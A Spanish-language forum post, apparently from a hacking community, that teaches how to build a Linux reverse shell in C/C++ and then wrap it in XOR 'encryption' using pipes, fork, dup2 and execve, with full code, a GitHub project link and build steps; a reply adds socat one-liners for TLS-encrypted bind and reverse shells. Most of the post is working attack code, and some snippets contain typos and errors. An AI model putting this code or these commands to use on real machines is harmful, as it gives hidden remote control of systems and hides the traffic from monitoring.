Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas
Linux, aunque pienso hacer una segunda parte para
Windows.
Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork https://linux.die.net/man/2/fork (https://linux.die.net/man/2/fork) -
mas adelante se vera aplicadodup2 https://linux.die.net/man/2/dup2 (https://linux.die.net/man/2/dup2)
execve https://linux.die.net/man/2/execve (https://linux.die.net/man/2/execve)
fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (
Process ID).
dup2: Los parametros de esta funcion son 2
dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo
newfd sea una copia de
oldf.
execve: Recibe tres parametros
execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar,
char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y
char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,
Data,
Bss y el
Stack del proceso el cual llama la funcion. https://en.wikipedia.org/wiki/Data_segment (https://en.wikipedia.org/wiki/Data_segment)
Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337
int main(int argc, char *argv[])
{
struct sockaddr_in server;
int socket;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
server.sin_port = htons(REMOTE_PORT);
socket = socket(AF_INET, SOCK_STREAM, 0);
connect(socket, (struct sockaddr *)&server, sizeof(server));
dup2(socket, 0);
dup2(socket, 1);
dup2(socket, 2);
execve("/bin/sh", 0, 0);
return 0;
}
Justo en la linea
21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion
dup2 antes descrita. Realiza una copia del
socket a tres descriptores de archivo distintos:
0 1 y
2 que son:
0:
stdin - Standard Input: Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1:
stdout - Standard Output: Descriptor usado por el proceso para mostrar información al usuario.
2:
stderr - Standard Error: Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del
socket, lo que reciba el socket sera escrito directamente a
stdin, y todo lo que salga de
stdout y
stderr sera escrito al socket.
Despues se llama a la funcion
execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario
/bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo
stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos
stdout/stderr seran escritas al socket gracias a las llamadas de la funcion
dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
$ nclokita -lp PUERTO
.
Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "
cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los
pipes (tuberias).
Los
pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
$ cat file.txt | wc -l
El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo
file.txt, nota el
| en medio de de
file.txt y
wc, esto indica al comando
cat que todo lo que vaya a escribir a
stdout lo redirija a el
stdin de
wc.
Ahora el funcionamiento de la shell inversa "
cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:
- Leer datos del socket
- Descifrar los datos
- Escribir la informacion al stdin del programa
- Leer del stdout/stderr la salida del comando antes ejecutado
- Cifrar los datos leidos
- Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de
pipes antes lijeramente explicados, haciendo uso de la funcion
pipe https://linux.die.net/man/2/pipe (https://linux.die.net/man/2/pipe). Un
pipe tiene dos partes
- Punto de lectura READ-END
- Punto de escritura WRITE-END
(https://i.imgur.com/k8XcJFK.png)
Y observando el ejemplo que nos provee
die.net, podemos observar el uso de
fork junto con
pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.
Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos
pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1
Una vez creadas las tuberias se procede a realizar un
fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso
/bin/sh
pid_t pid = fork();
if(pid == 0){
//Este es el hijo (child) del proceso que se esta ejecutando
//el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
//Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
//Si fork no es >= 0 entonces la llamada fallo
}
Ahora en la seccion del proceso hijo realizaremos lo siguiente:
//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);
//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);
//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);
Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero
stdin/stdout/stderr, sean atravez de los pipes respectivamente:
- Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
- Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);
Ahora en la seccion del proceso padre crearemos un
thread (hilo) para leer el
stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro
fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
//recibimos los datos del servidor
iBytes = recv(Socket, CmdBuffer, 1024, 0);
if(iBytes > 0){
CmdBuffer[iBytes] = '\0';
//escribimos al extremo WRITE-END de InPipe
write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
}
}
th1.join();
Luego la funcion
LeerStdout:
void LeerStdout(int Pipe){
chad CmdBuffer[256];
int iRet = 0, iRet2 = 0;
while(1){
//Primero leemos del extremo OutPipe[0] pasado a esta funcion
iRet = read(Pipe, &CmdBuffer, 255);
//Enviamos los datos leidos de stdout/stderr al servidor
iRet2 = send(Socket, CmdBufer, iRet);
}
}
Con esto se concluye el codigo basico sin "
cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare
XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
std::string Final = "";
for(char cD : Data){
for(char cS : Password){
cD ^= cS;
}
Final.append(1, cD);
}
return Final;
}
El codigo del proceso padre:
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
//recibimos los datos cifrados del servidor
iBytes = recv(Socket, CmdBuffer, 1024, 0);
if(iBytes > 0){
CmdBuffer[iBytes] = '\0';
std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
//Ahora descifrado contiene el comando descifrado que envio el servidor
//escribimos al extremo WRITE-END de InPipe el contenido descifrado
write(InPipe[1], Descifrado.c_str(), Descifrado.length());
}
}
th1.join();
El codigo de la funcion que lee el
stdout/stderr del proceso hijo:
void LeerStdout(int Pipe){
chad CmdBuffer[256];
int iRet = 0, iRet2 = 0;
while(1){
//Primero leemos del extremo OutPipe[0] pasado a esta funcion
iRet = read(Pipe, &CmdBuffer, 255);
std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
//ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
//Enviamos los datos cifrados leidos de stdout/stderr al servidor
iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
}
}
Esa seria la implementación de
pipes junto con
fork y
execve para obetener una shell inversa "
cifrada". Les dejo mi proyecto en github https://github.com/d3adlym1nd/Ciphered-Reverse-Shell (https://github.com/d3adlym1nd/Ciphered-Reverse-Shell)
Ahora un mini tutorial usando mi codigo de github ;D:
Clonar repo
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
Abrir el archivo
Client.cpp y modificar el valor de la variable
strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion
main con la ip y puerto hacia los cuales se conectara el cliente.
Cli->Connect("IP", "PUERTO")
Abrir el archivo
Server.cpp y modificar la funcion
main cambiando el puerto de esucha y clave a usar en la comunicación
Server *Srv = new Server(1337, "aiiiuuudaaaaa");
Y compilar con:
g++ -Wall -Wextra Client.cpp -o Client -pthread
g++ -Wall -Wextra Server.cpp -o Server -pthread
Eso es todo espero hayan aprendido algo nuevo y le den un buen uso.
Saludos.
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.
Shell directa:
socat OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt EXEC:/bin/bash
socat stdio OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0
Shell inversa:
socat OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0 EXEC:/bin/bash
socat stdio OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt
El certificado se puede hacer con openssl:
openssl genrsa -out /tmp/mykey.key 1024
openssl req -new -key /tmp/mykey.key -x509 -days 3653 -out /tmp/mykey.crt
cat /tmp/mykey.key /tmp/mykey.crt > /tmp/key.pem